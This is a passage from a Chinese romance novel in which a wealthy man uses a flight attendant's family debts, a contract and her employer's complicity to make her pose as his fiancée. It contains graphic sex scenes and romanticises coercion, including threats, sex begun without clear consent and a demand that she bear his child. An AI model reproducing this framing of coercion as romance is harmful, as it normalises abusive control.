他只是面无表情的拉着她,一句话也不说的硬是强拉着她和他走;当他们走
到机场的验证处时,公司的总经理突然走了出来,本来,她是想要向总经理来救
的,谁知总经理带着满脸欢迎的笑意迎上了黎凯斯,「黎先生,你不必检查,直
接出去就好。」

天啊!难道总经理的眼睛有问题吗?他没看到「他的员工」被人拉着走吗?
竟然还如此开怀的和拉着她的人开心的寒暄,真是……太没天理了!

看来,她只能自救了。「总经理……」

「哦,是白小姐啊,真是太好了,能让黎先生请你去吃顿晚餐也是很好的选
择呢!你就好好的陪黎先生去,记得,要好好的玩哦。」他笑笑的和她把招手,
随即转身离去。

可恶,怎么这样?她可是公司的空中小姐,又不是公关小姐,还得陪客户去
应酬?那公司算不算她加班费啊?

无奈情势比人强,她只能被迫的被黎凯斯拉着走出机场,随着他去取车,坐
上他的银色积架。

没多久,他们就来到一间看起来十分高尚清雅的餐厅,他和这里的侍者好像
十分熟悉,只说了一句老位子,他们就被带领到一处较为避开人群的座位上。

「你要吃什么。尽量点。」

「我和你一样就好。」

于是黎凯斯点了两份牛排和饭后的甜点,之后就开始凝视着她,一直没有说
话,白秋陵被他看得十分不自在。

「你现在总可以说了吧?」

「我很希望你能答应我这件事情。」

「你不说,我怎么答应?『」

「我刚才在机上不是说过了吗?虽然没有很清楚,不过,我是希望你能假扮
成我的女朋友,陪我演一场戏。」

「戏?什么戏?」

「就是扮演我的女朋友,而且是感情稳定、即将订婚的女朋友。」

白秋陵显得目瞪口呆,「订婚?」

「没错,」他点点头,继续往下说:「这只是暂时的,只要一段时间过后,
我们的婚约便自动解除,你就可以离开。」

「我不可能答应的。」她突然大喊。

开玩笑,这个男人疯了吗?她凭什么要陪他演这种烂戏?

「我活还没说完,只要你肯帮我,我一定会给你一笔丰厚的报酬,而且,我
还能让你把这段时间所穿的衣服和戴的珠宝等一切物品,在你离开时一起带走;
当然,这些都是由我支付的,事后,我会再给你一大笔钱。」

闻言,白秋陵的脸色一阵青、一阵白。「你当我是什么人?你以为我会因为
钱而出卖自己的感情吗?」

黎凯斯的面色突然一冷,「秋陵,我们今天就把话挑明了说吧!其实,我一
开始也可以骗你,说我对你是一见钟情,将你骗得团团转;不过,我不愿意这么
做,因为我实在没有办法假装自己喜欢上一个女人,你懂吗?」

他的眼神倏地变得冰冷,连语气也是无情的,「我可以告诉你,我对女人是
不屑的,她们会和我在一起都是为了我的钱,每个女人都不例外,当然也包括你
在内,要不然,你当年也不会成为人家夫妻的第三者!而你竟还会是个处女,实
在令我非常惊讶。不过,不管怎么说,对女人的观感,我并不会因此而改变。」

白秋陵的脸色变得苍白,心也猛地被他揪疼。她没想到他竟然连她当年的事
都变得如此清楚,而且还如此恶意的批评她。

「你……」

「惊讶吧?」他冷冷的一笑,「不过,既然你都拒绝了,我也不必对你大客
气,不管你答不答应,这件事已由不得你,因为我已经和你的上司谈好向他们商
借你的事情,他们十分识时务的将你借给了我!所以,你也不必回去上班了,因
为他们不会发薪水给你的。」

听到这里,白秋陵霍然站了起来,「我不相信!」

「你可以去问问他们,我是不反对啦,不过,事实总是比较伤人的。」看着
她要离去的背影,他突然叫住她:「我还没说完!如果你问完后,欢迎你再回来
找我,至于好处呢?我就先说一说,免得你以为我真的欺负你。」

「不必了!」白秋陵气极了,所以她根本就不想再听下去,不过,他的话还
是飘了过来。

「我知道你尚未还清母亲的医药费,但她现在还需要继续治疗;而你父亲只
是一个小小的公务员,钱也赚得不多,弟弟又要在今年上大学,只靠着你的薪水
来支撑是入不敷出的。你可以想看看我的条件,只要你肯帮我,我就替你把这些
问题解决,你母亲得以好好的接受治疗,你又能还清前债;你父亲退休后,也才
能安养天年,而你弟弟上大学更没有问题。」

他的话一句句的从她的身后传来,她的脚步也开始一步步沉重起来。她当然
知道自己的财务状况是如何糟糕;可是,她真的能如此作践自己的感情吗?

怀着沉重的心情,她走出了餐厅,却不知该何去何从,她一边走着,突然一
辆银色的积架停在她身边。

「上来吧!」原来黎凯斯一看到她走出餐厅,也跟着出来,开着车子跟在她
的身后,「秋陵,快上来,是我把你带来的,我就要送你回宿舍去。」。

她无力再对抗他强势的命令,只能无奈的上了车,否则,她也不知道该如何
回去,因为她除了待在宿舍外,没有去过其他地方,吃紧的财务由不得她挥霍。

黎凯斯在开着车送她回宿舍的途中,不时瞄着她看,她一直没有开口说话。
只是静静的看着车窗外;对于这样的她,不知为什久他的心中突然升起了一股不
该有的怜惜之情,或许他把话说得太伤人,不过,她原本就是这样的女人不是吗?

当他发观调查报告的资料中有这样一段的感情事件时,他的心中有着莫名的
震撼与不悦,心底对她竟感到失望,可是他能奢求什么?他对女人的观感本来就
是十分厌恶与不清的,而她只不过是更加证明他的想法是对的,如此而已!

那他到底在失望什么呢?再望了一眼沉静的她,可恶!这个女人为什么总能
装出别的女人所便装不出来的纯真与可爱呢?

烦躁的心因她而起,这是从未有过的情形。为了平复自己的思绪,他猛地一
踩油门,车子随即像子弹般激射出去,也将沉思中的白秋陵吓了一跳。

她转过头来,讶异地看他脸上面无表情却又隐含着一丝不耐,紧握住方向盘
的手,在手背上尽露出青筋。

真不知道他在激动什么!该生气的人是她,不是吗?。当她要下车时,他往
她的手中塞了一张名片,「拿着,这后面写了一支我的私人电话,你只要打这支
电话,我就会过来。」

她关上车门后,他的车子随即冲了出去。

隔天下午,当白秋陵要上班时,排班人员却通知她不必去上班!因为公司已
经决议放她一段长假,要他不限期的离开公司,并且让她留职停薪。听到这个消
息,她就知道,黎凯斯并没有骗她。

可是,她不想如此轻易的服输,她一定要去找公司理论;她可是订有契约的,
他们怎能将她当成商品般的去讨好他们的贯客?

当她想要去见高级主管时,没想到每个人都不愿见她,让她实在好生气。

这时。她突然接到由家里打来的长途电话,弟弟告诉她,如果她不及时将所
有的医药费还清的话,医院就要请母亲出院;而父亲为了母亲想提早办理退休,
可是那些退休金根本不够还清欠医院的费用;弟弟决定不念大学而要去工作,但
是,他马上就要面临兵役问题,他那不知道该怎么做才好。

白秋陵听到这些,她的心一再的下沉,事情为什么突然一下子全部向她笼罩
过来?她告诉弟弟,安心的去报名、考试,他有那个能力考上一所好大学,而关
于钱的事;她会想办法的。

当她挂上电话时,她也不想再去见什么主管,因为就等她真的能回去上班,
就凭她一个月的薪水,也不足以应付这些问题。她忍不住蹲下身子,痛苦的掩面
而位,不知该如何是好。

突然,她想起昨夜黎凯斯在餐厅时所说的那些话,看来,除了他之外,她是
没有任何办法了,如果牺牲她一个人而能救全家,那她为何还不做呢?

反正她也不会有任何损失的,不是吗?经过第三者事件后,她再也不想涉及
感情的事;而且,她毕竟和他做过爱,就算和他合演一场戏又如何呢?

只要时间一到就可以走人,到时候她也不想再做空姐,她决定等事情一完后,
就回到台湾和家人在一起,找份工作养活一家人,不会有问题的。

而目前的当分之急,就是将家里所有的困难全都摆平!

下定了决心,她整理好自己的东西后就走了出去,就算要和他在一起,她也
不想在这里被人看到。提着行李,她有一种茫然的感受,她不只没有任何朋友,
家人又在远方,现在唯一能帮助她的,是一个只和她有过一次肌肤之亲的陌生男
人。

她的人生不是很讽刺用好笑吗?

不知在街上走了多久,白秋陵才意识到下起雨来了,难怪她突然觉得好冷。
看到一旁的公用电话,她走进去打了通电话给黎凯斯,告诉他自己的所在位置。
那头的地,只是粗声粗气的命令她好好的待在原地,他马上就过来。

当她站在电话亭里看着便落的雨丝时,实仅有人要用电话,她只得站在外面
淋雨,但她一点也不在意,因为这雨正代表着她此刻的心情;一直坚强的她,总
是流不出任何的泪水,就让这场而,代替她好好的哭一场吧!

当黎凯斯开着车子赶到时,看到的竟是白秋陵提着行李、仰着头面向天空、
全身都淋湿的情景,这令他心中的怒火不断的上升。这个可恶的女人,他只不过
是想给她一点时间去证明她不得不向现实低头而已,结果呢?

她竟然接了通从家里打击的电话后,就提着行车走了出去,他一直以为她会
打电话给他,所以他今天一直持在美国的家中,没有去公司上班,就是为了和她
把事情做个解决。谁知她竟然没有任何回应,让他等了一整天。

而她竟然提着行李,站在路旁淋雨?

坐在车上,他先试着抚平怒火,免得一下车就想将她给掐死;眯着眼,看着
她纤弱的身子在风雨中试着生存的样子,他的心底突然升起一股怜爱之情……

停!他告诉自己,不要随便将同情心浪费在女人身上,那是不值得的;何况,
他已经对这个女人起了第二次的伶悯之心。那更是不应该。

想到这里,他连忙下车,大步走到她的目前,一把抢过她的行李俊,恶盲恶
语的对她骂着:「你这个笨女人,难过你不知过去找个地方躲两吗?干嘛站在这
里淋雨,告诉你,如果你生病了,我是不会理你的。」

他边骂边将车门打开,将她的行车丢到后座去,然后将她拉进车子里坐好。

他回到车子的另一边,上了车后,看到她的发上、脸上全部淋湿了,他从后
座拿出一条毛巾,往她的脸上一罩,「赶快把你的脸按一擦吧!」

看她只是慢条斯理的擦着脸,他看不过去的一把抢了过来,仔细的擦完她的
脸后,才开始擦着她的发,嘴里还粗声的骂着。「看看你,连自己都不会照顾自
己的身体,真不知过你是怎么活过来的!」

他一边念着,手边的动作一刻也没停下来。白秋陵却在他细心的举动与怨声
的吼自中听出了他对她的关心,原本寒冷的心变得温暖了些,她竟然忍不住热泪
盈眶的粲然笑着,伸出手握住了他的。

「谢谢你。」

听到她感激的话,他倏然停下手边的动作,眼里有着惊愕。不敢相信自己会
有这般的举动,嘴里的咒骂也蓦然停止,仿佛觉得自己手上的毛巾是只怪物般的
猛然甩开了它。

他低声咒骂着:「该死!」他什么时候对女人象个老头子般的碎碎念了?而
且还会去关心一个女人?

他发动车于向前急驶,却在红灯时瞄到白秋陵那因疲倦而闭上眼睛、一跑幸
福的笑,望着她人睡时的脸,他脸上原本强硬的线条竟然变得柔和起来,眼睛也
不自觉地滑向她,嘴角扬起一抹不易察觉的笑意。

他现在真的已经开始怀疑,他找她来演这场戏,究竟是对?还是错?

白秋陵睡了一场极为安稳的觉,当她醒来时,发现自己在一个完全陌生却又
舒适的大房间里,本来她还有些惊惧,却在想起昨天傍晚黎凯斯来接她的情形后
才松了一口气。

她下了床,并没有发现他的人影,于是决定先去洗个舒服的澡。

待她洗好澡、围着一条浴巾从浴室走出来时,看到黎凯斯已经站在房间等她。

「我替你拿了些东西进来,你先吃一些,待会儿我们再来谈。」

「好。」白秋陵只是点点头,没有再说其他的话。在黎凯斯的的的目光下,
她只觉得自己好像全县赤裸一样,显得十分不自在。

当她弯下身子想从行车装车出她的衣服时,黎凯斯却因为再也忍受不住想要
她的欲火而上前从她背后一把搂住了她,他滚烫的唇在她裸露而雪白的颈项间游
走,一双手早已拉下她的浴中,让赤裸的她贴着他的身体。

他的手不客气的罩上她的乳房,在她的浑圆上挤压、揉搓着,并以拇指和食
指在她已渐坚挺的蓓蕾上互相按搓,使得它更加硬挺,犹如一颗小石子般。

他一把抱起她,将她放置在床上,她睁眼看着他—一褪去他身上所有的衣物,
然后拉开她的腿,一下子就冲入她的体内。没有任何前戏,只想埋入她温暖而潮
湿的体内的欲望,让他按捺不住的一举就侵入她体内最深处。

「啊……」她因他突如其来的进击而呻吟。

他开始进进出出的狂野律动着,压下自己的上半身,开始亲吻着她的唇,在
她的嘴里肆无忌惮的纠缠不清,舌尖也模仿着身下的动作,配合著一进一出,带
来更加狂野的欢爱……

第三章

两人气喘吁吁、汗流使背的躺在床上,白秋陵看着他,而黎凯斯则是看着天
花板,一句话都没说,约莫过了五分钟,白秋陵先开口:「这里是哪里?」

「我家。」他转过头来看了她一眼,随即又着向天花板。

「那……现在我们先来谈谈,你为什么非要演一场戏?又要演给谁看?」

「演给我外公看。」

「你外公?」她在惊讶中重复着他的话。

他突然半坐起身,低头俯视着她,「我外公是我唯一的亲人,不过,他在几
年前身体却愈来愈坏,我带他去给医生检查过了,他的心脏出了些问题。医生说
只要动个开心手术,想再活好几十年都不成问题,但他却一直不愿去动手术,目
前都是吃药在控制病情。」

「他为什么不愿去呢?」「」因为他的身体虚弱,需要等到恢复些体力后才
能动手术,但外公却不愿配合;那是因为我一直不肯结婚,也没有一个固定而感
情稳定的女朋友,他认为自己动手术活那么久也没意思,不如在该走的时候就走,
免得看了心烦。「

「他……」白秋陵好怀疑他外公是个怎样的老人?。竟然拿自己的性命和孙
子的婚姻交换条件。

「他就是这样。本来我就没有结婚的打算,不过,为了他,我愿意这么做,
所以才会要你陪我演这场戏。」他伸出手抚着她的面颊,「只要你肯帮我,时间
一到,我自然就会让你走。」「但……那样不是欺骗吗?如果你外公知道事实的
真相……」

他冷冷的打听她的话:「不会的,他绝不会发现事实的真相,你必须待到他
动完手术、回家休养得差不多了,你才可以走;我会告诉他,我们因为个性不合
或是对彼此的感情淡了而决定分手,你报本就不必面对他,一切由我来处理就好。」

「你把什么都想好了嘛!」白秋陵胸中不免觉得有些困涩,「那……如果有
一天你要结婚……」

「绝不可能,我是绝不会结婚的,我不相信爱情,也不相信女人,所以要我
结婚,那是不可能的。」

「那你外公……」

「反正到时候你都离开了,那是我和他之间的事,跟你没有任何关系。」黎
凯斯冷淡的将她排除在外。

她将头转向另一边,掩饰自己眼中的痛楚,「我懂了。」

黎凯斯离开床上,从桌上拿出一本支票和纸出来,走回床边,「秋陵,你先
起来。」

白秋陵坐了起来,「什么事?」

他从支票簿撕下一张空白的支票送给她,「拿去,看你需要多少钱,在上面
填一填,待会儿我要去办事,可以载你过去银行让你寄钱回台湾。」

等她接过手后,他又拿出两份一式的契约,「把这个签一签,不是我不相信
你,而是我对所有的女人都不信任,所有我希望能有一份保障,在时间方面,我
写的是直到我要你离开,这份文件就自动失效。你赶快签一下,待会儿我会拿去
律师那里,到时就具有法律约束力了。」

白秋陵知道,只要她一签下自己的名字,就注定和这个男人会展开一场牵扯,
可是,现实生活却逼迫她不得不妥协。

她看了好一会儿后,咬牙签下自己的名字。

黎凯斯满意的看了一眼后就将它丢到一边,他将她手上的支票放在床头上,
然后将她压在床上,「好了,现在所有的事情都该清楚,我们来庆祝一下吧!」

一说完,他就低头将过滑向她柔嫩的耳垂,又伸出灼热濡湿的舌舔吮着,令
她不由自主的呻吟出声。

他轻易地将她身上的被子移开,露出她雪白细腻的肌肤。

她曲线玲珑的娇躯呈现在他面前,他不由得血脉喷张,用炙热的眸光细细拂
过她身上,仿佛想把她的美永铭心版似的;他全身透着一股痛苦的渴望,不禁无
助地呻吟一声。

他的舌滑过她激店的樱唇中,爱抚她口中敏感的肌肤,然后和她的舌缠绵腻
爱。

白秋陵全身都沐浴在欢畅之中,每一次呼吸,他的男性气息就阵阵侵袭击着
她,她伸出颤抖渴望的手指。移向他的胸口,抚上他温暖结实的肌肉。

黎凯斯低吟一声,任她的唇离开他的,任她把灼热的吻印在他面额、颈窝、
胸口、男性的乳头……

白秋陵快乐地叹口气,用手和唇一寸寸向下爱抚他,每过一处,都仿似留下
一道道熊熊燃烧的烈焰。

她的唇沿着他浓密的胸毛一直来到腰间,然后稍微迟疑了一下,看了他一眼;
他用喷火却又鼓励的眼神催促着她继续,她深吸了口气,继续往下探索,她的手
大胆的握住他早已肿胀的男性欲望,上下小心地触摸着……

黎凯斯几乎无法喘气的看着她的动作,轻轻吟叫着,然后开口命令她:「秋
陵,张开嘴、含住它……快点」

白秋陵吓了一跳,想要拒绝。「可是……它……它那么巨大,我的嘴那么小,
怎么可能……唔……」

黎凯斯再也无法忍受地主动伸出手,将他的男性象徽塞入她的嘴里,他忍着
气,汗水流下了他的额头,「秋陵,快点吸它啊!」

突然被塞满了嘴,这对她来说是一件十分奇怪又新鲜的事,她的嘴主动的吸
着它、上下的滑动,而且还伸出舌头舔着它,让它在爱抚下变得更加巨大……

被这种情况迷住的白秋陵,开始顽皮的在他的男性象征上上下下逗弄,挑逗
着他的忍受权限。

黎凯斯觉得自己好像疼得快要爆炸似的,可是她又弄得他那么的舒服,令他
忍不住地又痛苦又欢愉他的手指深深地插入她的发中,紧搂着她贴着自己,好一
会儿,才依依不舍地放开她,诱导她重新往上滑,最后,他们又脸贴着脸,他用
拇指摩攀着她甜美的唇瓣和面颊,眼中满是幽深的欲望。

她看得出在他眼中有着和自己一样的渴望,嘴角不由得漾起一抹笑意,对于
彼此即将来到的欢愉,他们都无法制止,他一个挺身,进入地湿润、甜蜜的穴径
激情在他们体内如火山爆发般地不可收拾,而他一再的进出她的私处,便得的还
想要更多、更多。

「凯斯、凯斯,求求你。,…『」她软软地婉转低呼。

他故意抽身离开她一会儿,把她令人心荡神驰的一模样饱览一番。她波浪般
的秀发奔泻在枕上,分外衬托出她美丽娇柔的脸蛋,她浑圆的双肩闪着晶莹的汗
珠,修长完美的大腿更是撩人。他喃喃的说:「真是世上最美的一幅画。」

「凯斯……」她娇声恳求。

他不再迟疑,低下身子在她的体内长驱直人。白秋陵只觉得身心像是笼罩在
一张甜蜜的大网中,似乎离开现实,飞到一个曾经造访、如今又欣然重临的快乐
国度,一波波难以置信的狂喜充塞全身。

当黎凯斯在觉到她的高潮已来临时,才开始追求属于自己的高朝,直到最后
一击,他在她的体内释放出所有欲望。

事后,他并没有退出她的体内,只是低下头吻住她的红唇,温柔地挑逗道:
「再来,嗯?」见她没有反应,他又凑近她耳边低语:「秋陵,听到我说的话了
吗?」

「嗯。」她低喃,一边用鼻子在他脸上轻轻磨蹭着,「我鼻子好痒。」

「是吗?」他轻笑一声,抬起上身凝视着她,然后低头用牙齿轻啮她秀挺的
鼻梁。「好一点了没?」

「好多了。」她嫣然一笑。「不过,还有一个地方更痒。」她眼中闪动若一
抹挪揄的笑意。

黎凯斯怀疑地咪着眼间:「什么地方?」他的唇移向她的须窝。「这里?」

她咯咯笑着,觉得这游戏好玩极了,「不对!她摇若头,笑得好开心。

他用舌头舔上她酥胸上淡蓝色的血管。「这里?」

「也不对。」她娇喘道:「不过,差不多了。」

「告诉我,是什么地方」他笑着问,于她如此的改变,感到十分的新奇。

「这里。」她拱起臀部,让他送人得更深,也再度激起他的欲望。

「哦……是这里」他的声音低沉,似乎有点把持不住。「没错吗?」

「绝对没错。」她低吟了一声,款摆臀部。

「很痒」他又邪气的问着她,对于这个新的、热情的白秋陵感到十分的惊奇
又满意。「痒得不得了。」她知道自己的动作对他起了什么作用。

他邪笑着看她,「要不要我替你止痒?」他因她的动作而止不住地轻额一下。

「太好了,求求你!」

他紧紧贴着她,不留丝毫余地。「好一点了吗?」

「呀,差不多了。」

「差不多?」他浓眉微扬。「我美丽的女孩,我已经无能为力了。」

她唆哧随即被他热切的唇盖住了笑声,埋在她体内的欲望又开始勇猛地动了
起来……

他们睡了一整个上午,直到近午时,黎凯斯才开车载她去办事,当她把支票
汇到台湾去时,她才真正的松了一口气。这下子,她的家人都可以有一个较好的
生活品质了。

接着,黎凯斯带她到律师那里,不过,她并没有过去,接着他们又到银行去,
当黎凯斯再度上车时,交给她一张卡片,「我已经替你开户,以后你有什么需要,
都可以用刷卡的方式付费!明天我再去替你申请一支行动电话。记住,要随时保
持开机状态,以便我随时可以找到你。」

他缓缓的接过信用卡,心中掠过一丝苦楚,如果今天他们之间不是只有金钱
交易、而是真正有感情的伴侣的话,那该有多好啊!想起了出门前的温存,那全
部只是金线上的交易罢了!

而她竟然还沉醉在他后来温柔可亲的态度里,以为他真的会对她有所改变,
但现在再看看如此冷漠、陌生而又公事化的他,冷得好像他们之间真的没有任何
一丝情感存在。

她真自己想得太天真了,他一开始不就说过了,他不相信爱情,所以,他对
自己有时候的善意,只不过是为了床上的欢爱,根本就无关乎情感!

「那……我以后要住在哪里?」

「当然是我家啊!」他理所当然的回答,「以后我的房间也是你的,你总不
会以为,我介绍你给外公认识后,我们就不睡在一起了吧?」他斜睨着她。

「可是……你外公他不会觉得这样不好吗?」不知道为什么,她不希望有人
用不屑的眼光看她,尤其是来自他的外公。。黎凯斯突然冷冷的笑了,「你在担
心什么?现在同居的男女那么多,我外公虽然年纪大了,不过,他对这种事还很
清楚呢!如果他知道我们睡在一起,他不只不会生气,而且还会很开心呢!」

「为什么?」

「因为他早就盼望能抱抱曾孙了。」

「啊!」她突然惊叫了一声,「怎么办?我都没有做避孕措施,要是怀孕了
怎么办?」

「这一点我早就想过了,如果真的怀孕的话,就把他生下来呀,我不会不负
责任的。」

「可是……你……和那么多的女人在一起,难道你也都这么说吗?」

「当然不是!不只她们自己去做,就算不做也没关系,因为我会做!」

「可是,我没有看到你做啊!她突然瞪大了眼睛指着他,」你……你该不会
去做……做……「。

看她吞吞吐吐的说不出来,他皱着眉问:「做什么?」

她突然小小声的附在他的耳旁说着:「做男性结扎手术啊!」

听到白秋陵的话,他忍不住瞪大了眼睛看着她,怀还这个女人怎么会说出这
种活,「你在胡说什么东西?我干嘛去做那种手术?」

「要不然,为什么你说你有做,可是我每次都没有看到呢?」

黎凯斯真的有点被这个女人打败,她的脑子里到底在想什么问?

「那是因为只对你这样,我是想,反正你要陪我演戏,可是,又不知道要演
到什么时候,不如让你真的怀孕也没关系,这个孩子刚好可以给我啊!」

「我才不要咧!你这个人怎么可以这么自私?只想到你自己,就没有替我想
一想,如果我有了孩子,你要我怎么舍得说走就走,我不要!」她激烈的反对。

「这可由不得你,我要你生,你就给我生,没得商量!」他强势而霸道的说
着,根本就不理会她的反对。

「为什么?我才不要!白秋陵也执拗起来,」我说不要就不要!「

看到她如此激烈的反对,他的胸口突然升起一把无明火,眼睛也冒着怒火,
双手狠狠的将她拉了过来,「你说什么?再给我说一遍!」

他的话冷冷的从牙缝中进出,眼中射出的寒光好像要射穿她一般,令她害怕
的缩了缩身子。

而他依然不为所动的制住她的身子,「秋陵,我希望你记住,和我订下契约
的人是你,拿了钱的入也是你,现在你拿了钱,总该要做点事吧?更何况,我的
要求你也没有拒绝的权利,你最好搞清楚现在是谁在作主,不要惹恼我,要不然,
倒霉的是谁,你应该很清楚才对!」

他威胁的话吐在她的脸上,热热的呼吸好似能的伤她的面颊般,她的心脏收
缩得好厉害,身子也颤抖着;她从没看过他这么冷酷、残忍的一面,令她心中不
禁泛起恐惧。吓得说不出任何一句话。

「记住了,我这可不是在哄你,而是在警告你,在这里,你是斗不过我的;
既然你心甘情愿的和我达成了交易,一切就得听我的,没有你反对的余地,你最
好认清楚自己的地位再来开口说话,我相信会好一点儿,这样你懂了吗?」

看她没有回答,他又再次地问:「我说的你懂了吗?嗯?」

「懂!」白秋陵连忙点点头,「我当然懂!」

「限好!」黎凯斯这才满意的松开她,发动车子,「再告诉你一点好了,我
这个人是没有什么同情心的,尤其是对女人,她们愈是装出一副可传祥。我愈是
憎恶!」他边开车边瞄她一眼,「对了,还有,对于自作聪明或是太过强势的女
人,我更是不客气。所以,基本上我对女人是软硬不吃的,希望你和我相处的这
一段时间里,能把这些牢牢的记住。」

他的眼睛专注的盯着路面,眼神却是无情的,「只要乖乖的听话,我保证你
这些日子就能过得很愉快;别惹恼我,惹了我的后果,是你承担不起的。」之后,
他就不再说话,只是专注的开着车子准备回家。

当他们坐在餐桌旁时,黎凯斯忍不住再看了白秋陵一眼;自从他说完那些话
后,她就一直没有再开口说话,直到现在。

就像不久前,他才带着她到他外公的房间去介绍给外公认识时,她只是挤出
笑容和外公打了声招呼,然后就静静的站在那里,心思不知飘到哪里去了。

而现在,她还是这个样子。

她只吃着她跟前方便夹的莱,根本就没有抬头看过其他的菜一眼,而将眼前
的东西吃完后,她就不再吃东西了。

「你吃饱了?」「我累了,想去休息。」她才说完这句,使马上转身上楼。

看着她离去的背影,黎凯斯忍不住盛起眉。她这是在做什么?对他刚才在车
上所说的话做无言的抗议吗?

猛地放下手上的东西,他站了起来,居随在她身后跟着走上楼去。

当他进入房间时,发现她人在浴室里,于是他脱了自己身上的衣物,裸着身
子走向浴室;打开门,看着她俏丽的身影立在倾洒而下的水花中,那洁白如玉的
身于,激起了他立即的反应。

他走到她的身后,双手围着她的腰,手从她的纤腰滑向她的小腹,而后是她
的酥胸;他的拇指挑逗、搓揉着那两点红晕,直到它们挺立为止,才又渐渐移向
她的颈窝、面额、秀发,接着又移向她的私处,不断地撩拨着她的感官。

在她体内的热,从那敏感的一点向全身各处延伸,她向后轻靠着他。款摆着
对他所有的渴求……

她的星眸半合,眼中雾蒙蒙地充满了欲望;樱唇微启,双额绯红,他的每一
个爱抚都促使她的欲火更加熊熊燃起。

「秋陵……」他的声音低沉沙哑,他的唇细细的品味着她柔嫩的面额、峨眉、
眼睑和层瓣,「秋陵。」他在她耳畔低低呻吟,心中的需要完全表露无遗。

白秋陵无助地献上自己的柔唇,但是他却避开,暂时不给予她这项欢愉。

他稍稍离开她,手指慢慢滑过她整个身躯!她娇喘不已,性感地拱起身子迎
接他爱的探索。但是,黎凯斯要的,不只是她本能的、沉默的呼唤,他也要她同
样的付出。

「秋陵,让我看看,让我知道你也一样的需要。」他喘着气说,一边深深地
吻着她,仿佛要把她整个灵魂都吸走似的。

然后他离开了她的唇,转而攻向她的颈项间吸吮、亲吻;一只手按着她的背
将她往下压,让她雪白的背面赤裸的展现在他眼前。

他的另一只手直接伸向她臀间的沟壑,手指在缝隙之间穿插、挑弄着,试图
勾引出她的汁液。

接着,他弯下身子轻轻覆在她的雪背上,让她的两只手支撑在地板上。他顺
着她的背滑下身子,将脸埋在她雪白而丰嫩的臀间……

他先是用炙热的唇在她两片臀瓣之间经咬、舔吮,接着伸出舌头舔洗着她的
私处,然后在她的穴径中进出……

他让她趴跪在冷冷的地板上,而他则站在她身后,捧起她的臀,分开臀瓣,
将勃发的欲望刺进她的体内,开始无情而凶猛的在她体内冲刺。

在黎凯斯剽悍野性的冲刺下,她的下体溢出更多的爱液,同时润泽了两人间
的紧密结合;他仰头低吼着,而她则瘫软在地板上,因为极致的刺激而承受不住,
幸而有他的力量扶持着她娇软的身躯。

他顺着白秋陵的姿势也放低了自己的身子,让自己能更加贴紧她的下体,一
阵剧烈的律动下,他突然抽出身子,将她抱了起来,让她的身子靠在光滑的墙面
上,并将她修长的腿圈绕在他劲实的腰间,再一次长趋直入她的穴处后,将她的
身于紧紧地和他的相贴,开始摆动着自己的臀部……

当他们运动着时,她的浑圆在他的眼前晃动着,形成另一股诱惑他的波动,
使他闷哼一声,张开嘴吸吮宕她的乳尖。

愈来愈紧绷的感觉在他们的体内流动着,当他们都到达极限时,两人忍不住
地低呼出声,她先达到高潮,而他紧随在后;他抱着她疲软的身体,给予她最后
的一击,过了一会儿后就退出她的体内,抱着她进入放满了清水的浴缸里。

接注,他随后挤在她的身侧,「我们来好好的洗个澡吧!」

接下来的几个小时里,她任由他诱导她了解自己的美丽,让彼此得享人间的
至乐。

隔天一大早,当她睁开眼睛时,发现黎凯斯已经穿好衣服坐在床边看着她,
她连忙坐了起来。「你……你不必上班吗?」意识到自己的赤裸,她感到十分的
不自在。「

「我今天不必到加拿大,我要开车到旧金山的矽谷,那里有我和朋友合伙开
的公司,我今天要去那里看看。」他用者如谜般的目光看着她。

「那……你为什么还站在这里?」她紧紧的抓住手上的被单。

「那是因为我在等你。」看到她吃惊的表情,他置之不理,只是继续面无表
情的往下说:「我决定带你一块去,并帮你买几套衣服和所需的物品,我只有今
天有时间,再来我就又必须出差了。」

「你……你不是都只去加拿大的公司吗?」

黎凯斯交握着手臂,面色冷然的看着她,「你还不懂吗?虽然我时常搭你们
公司的飞机,不过,在这三年内,我搭飞往美加航线的次数并没有那么频繁,反
而塔你们公司其他国际线的飞机次数倒很多,所以他们才会将我到为贵客;我会
搭美加航线,是因为我这段时间刚好都是要跑这个地区,而且又碰上了你,所以
我就几乎天天搭了。」

「碰上我?这么说,你是冲着我来的?」

「算是,也不算是。」他无所谓的耸耸肩,「反正事情都已经发展到这个地
步,再去探讨什么原因也没有意思。你赶快起来梳洗一下,我在楼下等你。」他
说完后,不再看她一眼,随即转身走了出去。

此刻白秋陵才觉得有种悲哀的感觉,他到底是怎样的一个男人?刚认识他的
时候,他是一个自大到让人讨厌的男人;后来成了一个霸气又强势的男人;在昨
天,他又表现出残忍而可怕的样子;现在,他却象个陌生人似的可以和你生疏的
聊天,不着边际,却又透露出一些接近事实的事情……而在夜晚,他却又是一个
掠夺而又贪婪的爱人,让人误以为他有多么乎你渴望你;但,一觉醒来后,你才
会发现那不过是一场春梦了无痕。因为一切的一切都是由夜晚的魔法所创造出来
的。

虽然他渴望着自己,但却又能在结合中察觉出他的疏离与刻意保持的淡漠,
让他每每在事后都觉得更加的空虚、痛苦,到底什么时候,她才能从这种痛苦中
解脱呢?

她对他究竟抱持着什么样的观感和情感?难道她真的是一个可以为了金线而
随便出卖肉体给一个陌生又不爱她的人?

每次想到这里,她总是不敢再往下想,因为愈想她就越瞧不起自己这种出卖
自尊、出卖肉体的行为,可是每当想到自己没人时的浓烈与主动的放荡,她又不
禁迷惑。她真的是为了金纷而出卖肉体的吗?

否则,为什么每一次的欢爱,她都能感到最大的欢愉呢?她真的茫然!

他们赶了好一会儿的路才来到旧金山。黎凯斯将车子停在服饰店的门前,
「我们先来采买衣服,待会儿再去吃饭,然后再到公司去。」

白秋陵点点头,没有表示任何意见,她随着黎凯斯下车。

当来到店门口时,他的电话突然响了起来,他接听完后面色显得十分凝重,
二话不说的,他塞了一张金卡给她。

「秋陵,你自己进去买,只要看中意的全都把它买下来,然后用这张卡刷,
全部记在我的帐上。现在我有一件急事必须赶去处理,你在这里漫漫的逛、慢慢
的看,我一个小时后来这里接你。」「可是……」她想叫住他,谁知他却匆匆忙
忙的走掉,根本以不给她开口的机会0她怯怯的看了服装高雅的店门口,看起来
就是很贵的样子。她紧张的吞了口口水,鼓起勇气走了进去,她拉拉身上那件朴
素的衣服后,四处游览着一排排着起来价值不菲的高级服饰。

当她的手才要碰触到衣服时,一个外力突然将她的手给打落。

白秋陵吃了一惊,看向来人,发现是一个高傲而势利的女人,看起来约莫三
十岁左右,眼里的鄙夷清清楚楚,她居高临下的斜睨曹她。一副瞧不起人的样子,
上下打量着白秋陵身上那套已有些陈旧而微损的衣裙。

